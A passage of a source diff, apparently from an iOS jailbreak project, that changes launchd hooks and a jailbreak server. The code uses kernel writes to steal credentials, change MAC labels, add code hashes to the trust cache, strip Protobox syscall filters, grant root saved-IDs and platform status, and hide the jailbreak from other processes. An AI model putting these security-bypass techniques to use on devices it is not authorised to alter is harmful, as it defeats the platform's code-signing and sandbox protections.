kCrashReporterStateNotActive) { - mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &gExceptionPort); - mach_port_insert_right(mach_task_self_, gExceptionPort, gExceptionPort, MACH_MSG_TYPE_MAKE_SEND); - task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, gExceptionPort, EXCEPTION_DEFAULT, ARM_THREAD_STATE64); - pthread_create(&gExceptionThread, NULL, crashreporter_listen, "crashreporter"); - gCrashReporterState = kCrashReporterStateActive; - } -} - void crashreporter_pause(void) { if (gCrashReporterState == kCrashReporterStateActive) { task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, 0, EXCEPTION_DEFAULT, ARM_THREAD_STATE64); + NSSetUncaughtExceptionHandler(defaultNSExceptionHandler); + defaultNSExceptionHandler = nil; gCrashReporterState = kCrashReporterStatePaused; } } @@ -266,6 +385,20 @@ void crashreporter_resume(void) { if (gCrashReporterState == kCrashReporterStatePaused) { task_set_exception_ports(mach_task_self_, EXC_MASK_CRASH_RELATED, gExceptionPort, EXCEPTION_DEFAULT, ARM_THREAD_STATE64); + defaultNSExceptionHandler = NSGetUncaughtExceptionHandler(); + NSSetUncaughtExceptionHandler(crashreporter_catch_objc); gCrashReporterState = kCrashReporterStateActive; } -} \ No newline at end of file +} + +void crashreporter_start(void) +{ + if (gCrashReporterState == kCrashReporterStateNotActive) { + mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &gExceptionPort); + mach_port_insert_right(mach_task_self_, gExceptionPort, gExceptionPort, MACH_MSG_TYPE_MAKE_SEND); + pthread_create(&gExceptionThread, NULL, crashreporter_listen, "crashreporter"); + gCrashReporterState = kCrashReporterStatePaused; + crashreporter_resume(); + } +} + diff --git a/BaseBin/launchdhook/src/daemon_hook.m b/BaseBin/launchdhook/src/daemon_hook.m index 1176e4fb05..4e1e31fca3 100644 --- a/BaseBin/launchdhook/src/daemon_hook.m +++ b/BaseBin/launchdhook/src/daemon_hook.m @@ -2,7 +2,7 @@ #import #import #import -#import "substrate.h" +#import #import #import #import @@ -34,24 +34,40 @@ void xpc_dictionary_add_launch_daemon_plist_at_path(xpc_object_t xdict, const ch xpc_object_t (*xpc_dictionary_get_value_orig)(xpc_object_t xdict, const char *key); xpc_object_t xpc_dictionary_get_value_hook(xpc_object_t xdict, const char *key) { - xpc_object_t origXdict = xpc_dictionary_get_value_orig(xdict, key); + xpc_object_t origXvalue = xpc_dictionary_get_value_orig(xdict, key); if (!strcmp(key, "LaunchDaemons")) { - for (NSString *daemonPlistName in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:NSJBRootPath(@"/basebin/LaunchDaemons") error:nil]) { - if ([daemonPlistName.pathExtension isEqualToString:@"plist"]) { - xpc_dictionary_add_launch_daemon_plist_at_path(origXdict, [NSJBRootPath(@"/basebin/LaunchDaemons") stringByAppendingPathComponent:daemonPlistName].fileSystemRepresentation); + if (xpc_get_type(origXvalue) == XPC_TYPE_DICTIONARY) { + for (NSString *daemonPlistName in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:JBROOT_PATH(@"/basebin/LaunchDaemons") error:nil]) { + if ([daemonPlistName.pathExtension isEqualToString:@"plist"]) { + xpc_dictionary_add_launch_daemon_plist_at_path(origXvalue, [JBROOT_PATH(@"/basebin/LaunchDaemons") stringByAppendingPathComponent:daemonPlistName].fileSystemRepresentation); + } } - } - for (NSString *daemonPlistName in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:NSJBRootPath(@"/Library/LaunchDaemons") error:nil]) { - if ([daemonPlistName.pathExtension isEqualToString:@"plist"]) { - xpc_dictionary_add_launch_daemon_plist_at_path(origXdict, [NSJBRootPath(@"/Library/LaunchDaemons") stringByAppendingPathComponent:daemonPlistName].fileSystemRepresentation); + for (NSString *daemonPlistName in [[NSFileManager defaultManager] contentsOfDirectoryAtPath:JBROOT_PATH(@"/Library/LaunchDaemons") error:nil]) { + if ([daemonPlistName.pathExtension isEqualToString:@"plist"]) { + xpc_dictionary_add_launch_daemon_plist_at_path(origXvalue, [JBROOT_PATH(@"/Library/LaunchDaemons") stringByAppendingPathComponent:daemonPlistName].fileSystemRepresentation); + } } } } else if (!strcmp(key, "Paths")) { - xpc_array_set_string(origXdict, XPC_ARRAY_APPEND, JBRootPath("/basebin/LaunchDaemons")); - xpc_array_set_string(origXdict, XPC_ARRAY_APPEND, JBRootPath("/Library/LaunchDaemons")); + if (xpc_get_type(origXvalue) == XPC_TYPE_ARRAY) { + xpc_array_set_string(origXvalue, XPC_ARRAY_APPEND, JBROOT_PATH("/basebin/LaunchDaemons")); + xpc_array_set_string(origXvalue, XPC_ARRAY_APPEND, JBROOT_PATH("/Library/LaunchDaemons")); + } + } + else if (!strcmp(key, "com.apple.private.xpc.launchd.userspace-reboot")) { + if (!origXvalue || xpc_get_type(origXvalue) == XPC_TYPE_BOOL) { + bool origValue = false; + if (origXvalue) { + origValue = xpc_bool_get_value(origXvalue); + } + if (!origValue) { + // Allow watchdogd to do userspace reboots + return xpc_dictionary_get_value_orig(xdict, "com.apple.private.iowatchdog.user-access"); + } + } } - return origXdict; + return origXvalue; } void initDaemonHooks(void) diff --git a/BaseBin/launchdhook/src/dsc_hook.c b/BaseBin/launchdhook/src/dsc_hook.c deleted file mode 100644 index 9fafaed5d0..0000000000 --- a/BaseBin/launchdhook/src/dsc_hook.c +++ /dev/null @@ -1,18 +0,0 @@ -#include -#include -#include -#include "substrate.h" - -int (*sysctlbyname_orig)(const char *name, void *oldp, size_t *oldlenp, void *newp, size_t newlen); -int sysctlbyname_hook(const char *name, void *oldp, size_t *oldlenp, void *newp, size_t newlen) -{ - if (!strcmp(name, "vm.shared_region_pivot")) { - return 0; - } - return sysctlbyname_orig(name, oldp, oldlenp, newp, newlen); -} - -void initDSCHooks(void) -{ - MSHookFunction(sysctlbyname, (void *)sysctlbyname_hook, (void **)&sysctlbyname_orig); -} \ No newline at end of file diff --git a/BaseBin/launchdhook/src/dsc_hook.h b/BaseBin/launchdhook/src/dsc_hook.h deleted file mode 100644 index c91b5eb8f4..0000000000 --- a/BaseBin/launchdhook/src/dsc_hook.h +++ /dev/null @@ -1 +0,0 @@ -void initDSCHooks(void); \ No newline at end of file diff --git a/BaseBin/launchdhook/src/ipc_hook.c b/BaseBin/launchdhook/src/ipc_hook.c index b549807010..a580f83635 100644 --- a/BaseBin/launchdhook/src/ipc_hook.c +++ b/BaseBin/launchdhook/src/ipc_hook.c @@ -1,5 +1,5 @@ #include -#include "substrate.h" +#include int (*sandbox_check_by_audit_token_orig)(audit_token_t au, const char *operation, int sandbox_filter_type, ...); int sandbox_check_by_audit_token_hook(audit_token_t au, const char *operation, int sandbox_filter_type, ...) diff --git a/BaseBin/launchdhook/src/jbserver/jbdomain_platform.c b/BaseBin/launchdhook/src/jbserver/jbdomain_platform.c index 46fab719f7..1ae09b0d51 100644 --- a/BaseBin/launchdhook/src/jbserver/jbdomain_platform.c +++ b/BaseBin/launchdhook/src/jbserver/jbdomain_platform.c @@ -1,8 +1,11 @@ #include "jbserver_global.h" +#include "jbsettings.h" #include #include +extern void systemwide_domain_set_enabled(bool enabled); + static bool platform_domain_allowed(audit_token_t clientToken) { pid_t pid = audit_token_to_pid(clientToken); @@ -11,23 +14,21 @@ static bool platform_domain_allowed(audit_token_t clientToken) return (csflags & CS_PLATFORM_BINARY); } -static int platform_set_process_debugged(uint64_t pid) +int platform_set_process_debugged(uint64_t pid, bool fullyDebugged) { uint64_t proc = proc_find(pid); if (!proc) return -1; - cs_allow_invalid(proc, true); + cs_allow_invalid(proc, fullyDebugged); return 0; } static int platform_stage_jailbreak_update(const char *updateTar) { - setenv("STAGED_JAILBREAK_UPDATE", updateTar, 1); - return 0; -} - -static int platform_set_jailbreak_visible(bool visible) -{ - return 0; + if (!access(updateTar, F_OK)) { + setenv("STAGED_JAILBREAK_UPDATE", updateTar, 1); + return 0; + } + return 1; } struct jbserver_domain gPlatformDomain = { @@ -38,6 +39,7 @@ struct jbserver_domain gPlatformDomain = { .handler = platform_set_process_debugged, .args = (jbserver_arg[]){ { .name = "pid", .type = JBS_TYPE_UINT64, .out = false }, + { .name = "fully-debugged", .type = JBS_TYPE_BOOL, .out = false }, { 0 }, }, }, @@ -49,11 +51,20 @@ struct jbserver_domain gPlatformDomain = { { 0 }, }, }, - // JBS_PLATFORM_SET_JAILBREAK_VISIBLE + // JBS_PLATFORM_JBSETTINGS_SET + { + .handler = jbsettings_set, + .args = (jbserver_arg[]){ + { .name = "key", .type = JBS_TYPE_STRING, .out = false }, + { .name = "value", .type = JBS_TYPE_XPC_GENERIC, .out = false }, + { 0 }, + }, + }, + // JBS_PLATFORM_SET_SYSTEMWIDE_DOMAIN_ENABLED { - .handler = platform_set_jailbreak_visible, + .handler = systemwide_domain_set_enabled, .args = (jbserver_arg[]){ - { .name = "visible", .type = JBS_TYPE_BOOL, .out = false }, + { .name = "enabled", .type = JBS_TYPE_BOOL, .out = false }, { 0 }, }, }, diff --git a/BaseBin/launchdhook/src/jbserver/jbdomain_root.c b/BaseBin/launchdhook/src/jbserver/jbdomain_root.c index f5420a33f4..6f909868d3 100644 --- a/BaseBin/launchdhook/src/jbserver/jbdomain_root.c +++ b/BaseBin/launchdhook/src/jbserver/jbdomain_root.c @@ -10,9 +10,9 @@ static bool root_domain_allowed(audit_token_t clientToken) return (audit_token_to_euid(clientToken) == 0); } -static int root_get_physrw(audit_token_t *clientToken, bool singlePTE) +static int root_get_physrw(audit_token_t *clientToken, bool singlePTE, uint64_t *singlePTEAsidPtr) { - return boomerang_get_physrw(clientToken, singlePTE); + return boomerang_get_physrw(clientToken, singlePTE, singlePTEAsidPtr); } static int root_sign_thread(audit_token_t *clientToken, mach_port_t threadPort) @@ -61,12 +61,42 @@ static int root_steal_ucred(audit_token_t *clientToken, uint64_t ucred, uint64_t return 0; } -static int root_add_cdhash(uint8_t *cdhashData, size_t cdhashLen) +static int root_set_mac_label(audit_token_t *clientToken, uint64_t slot, uint64_t newLabel, uint64_t *orgLabel) +{ + if (slot >= 3) return -1; + + pid_t pid = audit_token_to_pid(*clientToken); + uint64_t proc = proc_find(pid); + if (!proc) return -1; + uint64_t ucred = proc_ucred(proc); + if (!ucred) return -1; + + uint64_t label = kread_ptr(ucred + koffsetof(ucred, label)); + + *orgLabel = mac_label_get(label, slot); + mac_label_set(label, slot, newLabel); + + return 0; +} + +static int root_trustcache_info(xpc_object_t *infoOut) +{ + *infoOut = jb_trustcache_info(); + return 0; +} + +static int root_trustcache_add_cdhash(uint8_t *cdhashData, size_t cdhashLen) { if (cdhashLen != CS_CDHASH_LEN) return -1; return jb_trustcache_add_cdhashes((cdhash_t *)cdhashData, 1); } +static int root_trustcache_clear(void) +{ + jb_trustcache_clear(); + return 0; +} + struct jbserver_domain gRootDomain = { .permissionHandler = root_domain_allowed, .actions = { @@ -76,6 +106,7 @@ struct jbserver_domain gRootDomain = { .args = (jbserver_arg[]){ { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, { .name = "single-pte", .type = JBS_TYPE_BOOL, .out = false }, + { .name = "single-pte-asid-ptr", .type = JBS_TYPE_UINT64, .out = true }, { 0 }, }, }, @@ -96,21 +127,47 @@ struct jbserver_domain gRootDomain = { { 0 }, }, }, + // JBS_ROOT_STEAL_UCRED + { + .handler = root_steal_ucred, + .args = (jbserver_arg[]){ + { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + { .name = "ucred", .type = JBS_TYPE_UINT64, .out = false }, + { .name = "org-ucred", .type = JBS_TYPE_UINT64, .out = true }, + { 0 }, + }, + }, + // JBS_ROOT_SET_MAC_LABEL + { + .handler = root_set_mac_label, + .args = (jbserver_arg[]){ + { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, + { .name = "slot", .type = JBS_TYPE_UINT64, .out = false }, + { .name = "label", .type = JBS_TYPE_UINT64, .out = false }, + { .name = "org-label", .type = JBS_TYPE_UINT64, .out = true }, + { 0 }, + }, + }, + // JBS_ROOT_TRUSTCACHE_INFO + { + .handler = root_trustcache_info, + .args = (jbserver_arg[]){ + { .name = "tc-info", .type = JBS_TYPE_ARRAY, .out = true }, + { 0 }, + }, + }, // JBS_ROOT_ADD_CDHASH { - .handler = root_add_cdhash, + .handler = root_trustcache_add_cdhash, .args = (jbserver_arg[]){ { .name = "cdhash", .type = JBS_TYPE_DATA, .out = false }, { 0 }, }, }, - // JBS_ROOT_STEAL_UCRED + // JBS_ROOT_TRUSTCACHE_CLEAR { - .handler = root_steal_ucred, + .handler = root_trustcache_clear, .args = (jbserver_arg[]){ - { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, - { .name = "ucred", .type = JBS_TYPE_UINT64, .out = false }, - { .name = "org-ucred", .type = JBS_TYPE_UINT64, .out = true }, { 0 }, }, }, diff --git a/BaseBin/launchdhook/src/jbserver/jbdomain_systemwide.c b/BaseBin/launchdhook/src/jbserver/jbdomain_systemwide.c index ee18fe6df9..875fed05a1 100644 --- a/BaseBin/launchdhook/src/jbserver/jbdomain_systemwide.c +++ b/BaseBin/launchdhook/src/jbserver/jbdomain_systemwide.c @@ -1,21 +1,85 @@ #include "jbserver_global.h" +#include "jbsettings.h" #include #include #include -#include +#include #include #include #include #include #include +#include -static bool systemwide_domain_allowed(audit_token_t clientToken) +bool gSystemwideDomainEnabled = true; +void systemwide_domain_set_enabled(bool enabled) { + gSystemwideDomainEnabled = enabled; +} + +extern bool string_has_prefix(const char *str, const char* prefix); +extern bool string_has_suffix(const char* str, const char* suffix); + +char *combine_strings(char separator, char **components, int count) +{ + if (count <= 0) return NULL; + + bool isFirst = true; + + size_t outLength = 1; + for (int i = 0; i < count; i++) { + if (components[i]) { + outLength += !isFirst + strlen(components[i]); + if (isFirst) isFirst = false; + } + } + + isFirst = true; + char *outString = malloc(outLength * sizeof(char)); + *outString = 0; + + for (int i = 0; i < count; i++) { + if (components[i]) { + if (isFirst) { + strlcpy(outString, components[i], outLength); + isFirst = false; + } + else { + char separatorString[2] = { separator, 0 }; + strlcat(outString, (char *)separatorString, outLength); + strlcat(outString, components[i], outLength); + } + } + } + + return outString; +} + +bool systemwide_domain_allowed(audit_token_t clientToken) +{ + if (!gSystemwideDomainEnabled) { + // While the jailbreak is hidden, we need to disable the systemwide domain + pid_t pid = audit_token_to_pid(clientToken); + char procPath[4*MAXPATHLEN]; + if (proc_pidpath(pid, procPath, sizeof(procPath)) <= 0) { + return false; + } + + if (string_has_suffix(procPath, "/Dopamine.app/Dopamine")) { + // We still want it to be accessible by Dopamine itself though + // Unfortunately, there is not really a better check here since + // - Dopamine can be sideloaded, so no control over entitlements + // - App identifier could be changed by whoever installed it aswell + return true; + } + + return false; + } return true; } -static int systemwide_get_jb_root(char **rootPathOut) +static int systemwide_get_jbroot(char **rootPathOut) { *rootPathOut = strdup(jbinfo(rootPath)); return 0; @@ -28,75 +92,167 @@ static int systemwide_get_boot_uuid(char **bootUUIDOut) return 0; } -static int trust_file(const char *filePath, const char *dlopenCallerPath) +CS_SuperBlob *siginfo_resolve_superblob(struct siginfo *siginfo, int pid, int fd) +{ + if (!siginfo) return NULL; + if (siginfo->signature.fs_blob_size == 0) return NULL; + + size_t superblobSize = siginfo->signature.fs_blob_size; + CS_SuperBlob *superblob = malloc(superblobSize); + if (!superblob) return NULL; + + bool success = false; + + switch (siginfo->source) { + case SIGNATURE_SOURCE_FILE: { + uintptr_t superblobStart = siginfo->signature.fs_file_start + (uintptr_t)siginfo->signature.fs_blob_start; + uintptr_t superblobEnd = superblobStart + superblobSize; + struct stat st = {}; + + if (fstat(fd, &st) != 0) break; + if (superblobEnd > st.st_size) break; + if (lseek(fd, superblobStart, SEEK_SET) != superblobStart) break; + if (read(fd, superblob, superblobSize) != superblobSize) break; + + success = true; + } + case SIGNATURE_SOURCE_PROC: { + uint64_t proc = proc_find(pid); + + if (!proc) break; + if (proc_vreadbuf(proc, siginfo->signature.fs_blob_start, superblob, superblobSize) != 0) break; + + success = true; + } + } + + if (!success) { + free(superblob); + superblob = NULL; + } + + return superblob; +} + +int systemwide_trust_file(audit_token_t *processToken, int rfd, struct siginfo *siginfo, size_t siginfoSize) { - // Shared logic between client and server, implemented in client - // This should essentially mean these files never reach us in the first place - // But you know, never trust the client :D - extern bool can_skip_trusting_file(const char *filePath, bool isLibrary, bool isClient); + if (siginfo && siginfoSize != sizeof(struct siginfo)) return -1; + + pid_t pid = -1; + int fd = -1; + if (!processToken) { + pid = 1; + fd = dup(rfd); + } + else { + pid = audit_token_to_pid(*processToken); + struct vnode_fdinfowithpath vnodeInfo; + int ok = proc_pidfdinfo(pid, rfd, PROC_PIDFDVNODEPATHINFO, &vnodeInfo, sizeof(vnodeInfo)); + if (ok > 0) { + fd = open(vnodeInfo.pvip.vip_path, O_RDONLY); + } + } + + if (fd < 0) return -1; - if (can_skip_trusting_file(filePath, (bool)dlopenCallerPath, false)) return -1; + struct statfs fsb; + int fsr = fstatfs(fd, &fsb); + if (fsr == 0) { + // Anything on the rootfs or fakelib mount point can be ignored as it's guaranteed to already be in trustcache + if (!strcmp(fsb.f_mntonname, "/") || !strcmp(fsb.f_mntonname, "/usr/lib")) { + close(fd); + return 0; + } + } cdhash_t *cdhashes = NULL; uint32_t cdhashesCount = 0; - macho_collect_untrusted_cdhashes(filePath, dlopenCallerPath, &cdhashes, &cdhashesCount); + + if (siginfo) { + // If we were passed a siginfo, get the cdhash of the superblob from the siginfo + CS_SuperBlob *superblob = siginfo_resolve_superblob(siginfo, pid, fd); + if (superblob) { + cdhash_t cdhash; + if (code_signature_calculate_adhoc_cdhash(superblob, cdhash)) { + if (!is_cdhash_trustcached(cdhash)) { + cdhashes = malloc(sizeof(cdhash_t)); + cdhashesCount = 1; + memcpy(&cdhashes[0], &cdhash, sizeof(cdhash_t)); + } + } + free(superblob); + } + } + else { + // If we weren't passed a siginfo, get cdhashes of all slices + file_collect_untrusted_cdhashes(fd, &cdhashes, &cdhashesCount); + } + if (cdhashes && cdhashesCount > 0) { jb_trustcache_add_cdhashes(cdhashes, cdhashesCount); free(cdhashes); } + + close(fd); return 0; } -// Not static because launchd will directly call this from it's posix_spawn hook -int systemwide_trust_binary(const char *binaryPath) +int systemwide_trust_file_by_path(const char *path) { - return trust_file(binaryPath, NULL); + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + int r = systemwide_trust_file(NULL, fd, NULL, 0); + close(fd); + return r; } -static int systemwide_trust_library(audit_token_t *processToken, const char *libraryPath) +int systemwide_process_checkin(audit_token_t *processToken, char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut) { // Fetch process info pid_t pid = audit_token_to_pid(*processToken); - char callerPath[4*MAXPATHLEN]; - if (proc_pidpath(pid, callerPath, sizeof(callerPath)) < 0) { + char procPath[4*MAXPATHLEN]; + if (proc_pidpath(pid, procPath, sizeof(procPath)) <= 0) { return -1; } - // When trusting a library that's dlopened at runtime, we need to pass the caller path - // This is to support dlopen("@executable_path/whatever", RTLD_NOW) and stuff like that - // (Yes that is a thing >.<) - return trust_file(libraryPath, callerPath); -} - -static int systemwide_process_checkin(audit_token_t *processToken, char **rootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut) -{ - // Fetch process info - pid_t pid = audit_token_to_pid(*processToken); + // Find proc in kernelspace uint64_t proc = proc_find(pid); - char procPath[4*MAXPATHLEN]; - if (proc_pidpath(pid, procPath, sizeof(procPath)) < 0) { + if (!proc) { return -1; } // Get jbroot and boot uuid - systemwide_get_jb_root(rootPathOut); + systemwide_get_jbroot(rootPathOut); systemwide_get_boot_uuid(bootUUIDOut); // Generate sandbox extensions for the requesting process - char *readExtension = sandbox_extension_issue_file_to_process("com.apple.app-sandbox.read", JBRootPath(""), 0, *processToken); - char *execExtension = sandbox_extension_issue_file_to_process("com.apple.sandbox.executable", JBRootPath(""), 0, *processToken); - if (readExtension && execExtension) { - char extensionBuf[strlen(readExtension) + 1 + strlen(execExtension) + 1]; - strcat(extensionBuf, readExtension); - strcat(extensionBuf, "|"); - strcat(extensionBuf, execExtension); - *sandboxExtensionsOut = strdup(extensionBuf); + char *sandboxExtensionsArr[] = { + // Make /var/jb readable and executable + sandbox_extension_issue_file_to_process("com.apple.app-sandbox.read", JBROOT_PATH(""), 0, *processToken), + sandbox_extension_issue_file_to_process("com.apple.sandbox.executable", JBROOT_PATH(""), 0, *processToken), + + // Make /var/jb/var/mobile writable + sandbox_extension_issue_file_to_process("com.apple.app-sandbox.read-write", JBROOT_PATH("/var/mobile"), 0, *processToken), + }; + int sandboxExtensionsCount = sizeof(sandboxExtensionsArr) / sizeof(char *); + *sandboxExtensionsOut = combine_strings('|', sandboxExtensionsArr, sandboxExtensionsCount); + for (int i = 0; i < sandboxExtensionsCount; i++) { + if (sandboxExtensionsArr[i]) { + free(sandboxExtensionsArr[i]); + } } - if (readExtension) free(readExtension); - if (execExtension) free(execExtension); + + bool fullyDebugged = false; + if (string_has_prefix(procPath, "/private/var/containers/Bundle/Application") || string_has_prefix(procPath, JBROOT_PATH("/Applications"))) { + // This is an app, enable CS_DEBUGGED based on user preference + if (jbsetting(markAppsAsDebugged)) { + fullyDebugged = true; + } + } + *fullyDebuggedOut = fullyDebugged; // Allow invalid pages - cs_allow_invalid(proc, false); + cs_allow_invalid(proc, fullyDebugged); // Fix setuid struct stat sb; @@ -121,6 +277,19 @@ static int systemwide_process_checkin(audit_token_t *processToken, char **rootPa } } + if (__builtin_available(iOS 16.0, *)) { + // In iOS 16+ there is a super annoying security feature called Protobox + // Amongst other things, it allows for a process to have a syscall mask + // If a process calls a syscall it's not allowed to call, it immediately crashes + // Because for tweaks and hooking this is unacceptable, we update these masks to be 1 for all syscalls on all processes + // That will at least get rid of the syscall mask part of Protobox + proc_allow_all_syscalls(proc); + + // Some processes also have a filter for mach messages, fortunately there is one allowed message id that can be used for the check-in + // Then we remove the filter to make other message ids accessible afterwards aswell + proc_remove_msg_filter(proc); + } + // For whatever reason after SpringBoard has restarted, AutoFill and other stuff stops working // The fix is to always also restart the kbd daemon alongside SpringBoard // Seems to be something sandbox related where kbd doesn't have the right extensions until restarted @@ -133,21 +302,54 @@ static int systemwide_process_checkin(audit_token_t *processToken, char **rootPa } else { dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ - killall("/System/Library/TextInput/kbd", false); + killall("/System/Library/TextInput/kbd", SIGKILL); }); } } + // For the Dopamine app itself we want to give it a saved uid/gid of 0, unsandbox it and give it CS_PLATFORM_BINARY + // This is so that the buttons inside it can work when jailbroken, even if the app was not installed by TrollStore + else if (string_has_suffix(procPath, "/Dopamine.app/Dopamine")) { + // svuid = 0, svgid = 0 + uint64_t ucred = proc_ucred(proc); + kwrite32(proc + koffsetof(proc, svuid), 0); + kwrite32(ucred + koffsetof(ucred, svuid), 0); + kwrite32(proc + koffsetof(proc, svgid), 0); + kwrite32(ucred + koffsetof(ucred, svgid), 0); + + // platformize + proc_csflags_set(proc, CS_PLATFORM_BINARY); + } + +#ifdef __arm64e__ + // On arm64e every image has a trust level associated with it + // "In trust cache" trust levels have higher runtime enforcements, this can be a problem for some tools as Dopamine trustcaches everything that's adhoc signed + // So we add the ability for a binary to get a different trust level using the "jb.pmap_cs.custom_trust" entitlement + // This is for binaries that rely on weaker PMAP_CS checks (e.g. Lua trampolines need it) + xpc_object_t customTrustObj = xpc_copy_entitlement_for_token("jb.pmap_cs.custom_trust", processToken); + if (customTrustObj) { + if (xpc_get_type(customTrustObj) == XPC_TYPE_STRING) { + const char *customTrustStr = xpc_string_get_string_ptr(customTrustObj); + uint32_t customTrust = pmap_cs_trust_string_to_int(customTrustStr); + if (customTrust >= 2) { + uint64_t mainCodeDir = proc_find_main_binary_code_dir(proc); + if (mainCodeDir) { + kwrite32(mainCodeDir + koffsetof(pmap_cs_code_directory, trust), customTrust); + } + } + } + } +#endif proc_rele(proc); return 0; } -static int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid) +int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid) { int retval = 3; - uint64_t parentPid = audit_token_to_pid(*parentToken); + uint64_t parentPid = audit_token_to_pid(*parentToken); uint64_t parentProc = proc_find(parentPid); - uint64_t childProc = proc_find(childPid); + uint64_t childProc = proc_find(childPid); if (childProc && parentProc) { retval = 2; @@ -155,19 +357,20 @@ static int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid) if (kread_ptr(childProc + koffsetof(proc, pptr)) == parentProc) { cs_allow_invalid(childProc, false); - uint64_t childTask = proc_task(childProc); - uint64_t childVmMap = kread_ptr(childTask + koffsetof(task, map)); + uint64_t childTask = proc_task(childProc); + uint64_t childVmMap = kread_ptr(childTask + koffsetof(task, map)); + uint64_t childHeader = childVmMap + koffsetof(vm_map, hdr); + uint32_t childNentries = kread32(childHeader + koffsetof(vm_map_header, nentries)); + uint64_t childEntry = kread_ptr(childHeader + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, next)); - uint64_t parentTask = proc_task(parentProc); - uint64_t parentVmMap = kread_ptr(parentTask + koffsetof(task, map)); - - uint64_t parentHeader = kread_ptr(parentVmMap + koffsetof(vm_map, hdr)); - uint64_t parentEntry = kread_ptr(parentHeader + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, next)); - - uint64_t childHeader = kread_ptr(childVmMap + koffsetof(vm_map, hdr)); - uint64_t childEntry = kread_ptr(childHeader + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, next)); + uint64_t parentTask = proc_task(parentProc); + uint64_t parentVmMap = kread_ptr(parentTask + koffsetof(task, map)); + uint64_t parentHeader = parentVmMap + koffsetof(vm_map, hdr); + uint32_t parentNentries = kread32(parentHeader + koffsetof(vm_map_header, nentries)); + uint64_t parentEntry = kread_ptr(parentHeader + koffsetof(vm_map_header, links) + koffsetof(vm_map_links, next)); uint64_t childFirstEntry = childEntry, parentFirstEntry = parentEntry; + uint32_t childIdx = 0, parentIdx = 0; do { uint64_t childStart = kread_ptr(childEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, min)); uint64_t childEnd = kread_ptr(childEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, max)); @@ -176,16 +379,18 @@ static int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid) if (parentStart < childStart) { parentEntry = kread_ptr(parentEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, next)); + parentIdx++; } else if (parentStart > childStart) { childEntry = kread_ptr(childEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, next)); + childIdx++; } else { uint64_t parentFlags = kread64(parentEntry + koffsetof(vm_map_entry, flags)); uint64_t childFlags = kread64(childEntry + koffsetof(vm_map_entry, flags)); uint8_t parentProt = VM_FLAGS_GET_PROT(parentFlags), parentMaxProt = VM_FLAGS_GET_MAXPROT(parentFlags); - uint8_t childProt = VM_FLAGS_GET_PROT(childFlags), childMaxProt = VM_FLAGS_GET_MAXPROT(childFlags); + uint8_t childProt = VM_FLAGS_GET_PROT(childFlags), childMaxProt = VM_FLAGS_GET_MAXPROT(childFlags); if (parentProt != childProt || parentMaxProt != childMaxProt) { VM_FLAGS_SET_PROT(childFlags, parentProt); @@ -194,24 +399,39 @@ static int systemwide_fork_fix(audit_token_t *parentToken, uint64_t childPid) } parentEntry = kread_ptr(parentEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, next)); - childEntry = kread_ptr(childEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, next)); + parentIdx++; + childEntry = kread_ptr(childEntry + koffsetof(vm_map_entry, links) + koffsetof(vm_map_links, next)); + childIdx++; } - } while (parentEntry != 0 && childEntry != 0 && parentEntry != parentFirstEntry && childEntry != childFirstEntry); + } while (parentEntry != 0 && childEntry != 0 && parentEntry != parentFirstEntry && childEntry != childFirstEntry && parentIdx < parentNentries && childIdx < childNentries); retval = 0; } } if (childProc) proc_rele(childProc); if (parentProc) proc_rele(parentProc); - return 0; + return retval; +} + +static int systemwide_cs_revalidate(audit_token_t *callerToken) +{ + uint64_t callerPid = audit_token_to_pid(*callerToken); + if (callerPid > 0) { + uint64_t callerProc = proc_find(callerPid); + if (callerProc) { + proc_csflags_set(callerProc, CS_VALID); + return 0; + } + } + return -1; } struct jbserver_domain gSystemwideDomain = { .permissionHandler = systemwide_domain_allowed, .actions = { - // JBS_SYSTEMWIDE_GET_JB_ROOT + // JBS_SYSTEMWIDE_GET_JBROOT { - .handler = systemwide_get_jb_root, + .handler = systemwide_get_jbroot, .args = (jbserver_arg[]){ { .name = "root-path", .type = JBS_TYPE_STRING, .out = true }, { 0 }, @@ -225,20 +445,13 @@ struct jbserver_domain gSystemwideDomain = { { 0 }, }, }, - // JBS_SYSTEMWIDE_TRUST_BINARY - { - .handler = systemwide_trust_binary, - .args = (jbserver_arg[]){ - { .name = "binary-path", .type = JBS_TYPE_STRING, .out = false }, - { 0 }, - }, - }, - // JBS_SYSTEMWIDE_TRUST_LIBRARY + // JBS_SYSTEMWIDE_TRUST_FILE { - .handler = systemwide_trust_library, + .handler = systemwide_trust_file, .args = (jbserver_arg[]){ { .name = "caller-token", .type = JBS_TYPE_CALLER_TOKEN, .out = false }, - { .name = "library-path", .type = JBS_TYPE_STRING, .out = false }, + { .name = "fd", .type = JBS_TYPE_UINT64, .out = false }, + { .name = "siginfo", .type = JBS_TYPE_DATA, .out = false }, { 0 }, }, }, @@ -250,6 +463,7 @@ struct jbserver_domain gSystemwideDomain = { { .name = "root-path", .type = JBS_TYPE_STRING, .out = true }, { .name = "boot-uuid", .type = 